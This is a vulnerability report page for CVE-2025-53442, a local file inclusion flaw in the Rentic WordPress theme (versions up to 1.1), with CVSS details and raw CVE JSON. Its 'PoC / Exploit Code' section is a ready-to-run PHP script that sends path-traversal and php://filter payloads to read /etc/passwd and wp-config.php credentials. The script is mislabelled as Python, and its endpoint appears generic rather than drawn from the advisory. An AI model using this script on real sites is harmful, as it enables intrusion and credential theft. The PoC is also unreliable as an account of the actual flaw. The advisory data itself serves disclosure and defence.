Security Vulnerability Report
中文
CVE-2025-53442 CVSS 8.1 HIGH

CVE-2025-53442

Published: 2025-12-18 08:15:55
Last Modified: 2026-01-20 15:16:57

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rentic rentic allows PHP Local File Inclusion.This issue affects Rentic: from n/a through <= 1.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:rentic:*:*:*:*:*:wordpress:*:* - VULNERABLE
Rentic <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-53442 PoC - Rentic Theme Local File Inclusion * Affected: axiomthemes Rentic <= 1.1 * CVSS: 8.1 (High) * * Usage: Modify target URL and run with PHP CLI * Example: php poc.php */ $target = "http://target-site.com/"; $endpoint = "?page="; // Read sensitive files $payloads = [ "../../../../etc/passwd", // Linux passwd file "../../../../windows/win.ini", // Windows config "../../../../wp-config.php", // WordPress config "../../../../../../../var/www/html/wp-config.php", "php://filter/convert.base64-encode/resource=wp-config.php" ]; echo "[*] CVE-2025-53442 LFI PoC\n"; echo "[*] Target: $target\n\n"; foreach ($payloads as $payload) { $url = $target . $endpoint . urlencode($payload); echo "[+] Testing: $payload\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[+] Success! File content retrieved (HTTP $httpCode)\n"; echo "[+] Content preview:\n" . substr($response, 0, 500) . "\n\n"; } else { echo "[-] Failed (HTTP $httpCode)\n\n"; } } echo "[*] PoC execution completed\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53442", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:54.633", "lastModified": "2026-01-20T15:16:57.340", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rentic rentic allows PHP Local File Inclusion.This issue affects Rentic: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:rentic:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.1", "matchCriteriaId": "DE8697E4-3F5D-496A-93AF-E66D4453386C"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/rentic/vulnerability/wordpress-rentic-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}